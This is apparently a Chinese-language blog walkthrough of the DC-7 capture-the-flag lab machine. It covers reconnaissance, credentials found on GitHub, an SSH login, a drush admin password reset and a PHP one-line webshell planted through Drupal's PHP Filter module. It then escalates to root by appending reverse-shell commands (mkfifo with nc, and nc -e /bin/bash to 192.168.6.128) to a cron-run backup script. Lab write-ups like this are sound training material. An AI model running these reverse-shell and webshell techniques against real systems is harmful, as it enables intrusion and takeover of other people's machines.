DC-7(两次反弹)

信息搜集

  1. 通过nmap扫描ip和端口发现:ip为192.168.6.151,开放端口号为80和22
  2. 针对端口号进行单独扫描没有太多有用信息
  3. 查看框架:在浏览器输入靶机ip,利用插件查看为Drupal 8(可以用网站指纹工具查whatweb+ip)
  4. 查看目录:dirsearch -u http://192.168.6.151

 根据上图发现了用户登录界面,按照常理接下来应该是进行用户名和密码的爆破

 所以进行漏洞扫描:searchsploit Drupal 8;但是没有可以利用的CVE漏洞

 这时想起网站首页的话内容大概是要跳脱出平常的思维,然后看见网站底部有一个像用户名的东西,去搜索了一下发现在GitHub上面有这个网站的相关信息

 其中config文件中还有一个用户名和密码,dc7user,MdR3xOgB7#dW

漏洞利用

这个用户名和密码可以在网站上先试试,不过很显然不能登录成功,这时想到了最开始的22端口可以试试远程登录,ssh dc7user@192.168.6.151

发现两个文件夹,分别进入查看

cat mbox,发现了一个sh文件,里面的cron是定时任务的意思

进入该文件目录,内容中有一些命令没见过,这个文件有!/bin/sh说明很有可以在提权的时候会用到

其中的drush是drupal框架中用来做一些配置的命令,它可以改变用户名密码

再看看backups文件夹发现全是gpg结尾的文件,通过搜索发现这是一种加密方式

就目前的信息来看只有drush是有用的我们可以修改一个已知用户(admin)的密码然后登陆进去:drush user-password admin --password="123456"

登陆成功

反弹shell

现在就是找一个空白页可以上传php代码的那种然后利用蚁剑反弹shell(利用Drupal反弹shell)

content-add content-basic page;,然后保存,得到如图结果,查资料得知该页面不支持php代码,需要自己重新安装模块

安装模块:https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz,这里选择下载安装包手动安装

 接下来安装

 选择PHP Fliter安装

 设置一句话木马

 用工具进行连接,这里不知道有什么问题连不上所以,不再利用蚁剑反弹到kali,而是直接利用页面反弹shell:;交互python -c 'import pty;pty.spawn("/bin/bash")'

 这里会再次反弹,前文提到过的那个backups.sh文件派上了用场

rm /tmp/f 删除该文件(以免跟后面定义的 管道符 冲突)

mkfifo /tmp/f 这是创建自定义有名管道符。管道符的名称是 /tmp/f (用于进程间的通讯, 如 ls > /tmp/f ,cat /tmp/f ,连通两个进程之间的通讯)

cat /tmp/f 取出管道符中的内容,|/bin/sh -i 2>&1 将前面取出的内容作为输入,输入给 /bin/sh,再将bash的标准错误输出 也作为标准输入 (2 >&1)给bash 然后再将bash的输出,传给nc 远程,再将nc 传来的数据,写入 管道符 /tmp/f 。最后首尾接通了。

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.6.128 1234 >/tmp/f" >> /opt/scripts/backups.sh

  • 方法二:利用定时任务

echo "nc -e /bin/bash 192.168.6.128 1234" >> /opt/scripts/backups.sh

 按理来说这里监听成功就可以了至于出来什么问题还不知道(原因是backup.sh没有使用绝对路径),反弹回来就是root的权限

总结

  1. 这里用了两次反弹shell,一次从网站到kali,另一次是从kali到kali
  2. 开始在蚁剑无法连接上卡了很久,实在是没整出来,所以选择直接利用php的system来反弹第一个shell
  3. 在第二反弹shell的时候利用了命名管道mkfio,但是无法成功返回,发现有的博主是直接蚁剑的backups.sh文件中利用nc反弹(当然前提是第一次用工具反弹成功了)
  4. 总之还是要根据框架(drupal8)去寻找突破口
  5. 关于drush命令和mkfifo(https://www.cnblogs.com/old-path-white-cloud/p/11685558.html)的使用
  6. 这里也使用了重定向来写入数据
  7. 遗留的问题为什么最后一步反弹回来就是root权限(刚刚又看了以下.sh文件中有root@dc-7的定时任务也就是也有cron命令这是不是就意味着这个文件所属权在root?),如何得知需要反弹两次shell
  8. 最后没有反弹成功的原因是backup.sh没有使用绝对路径
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值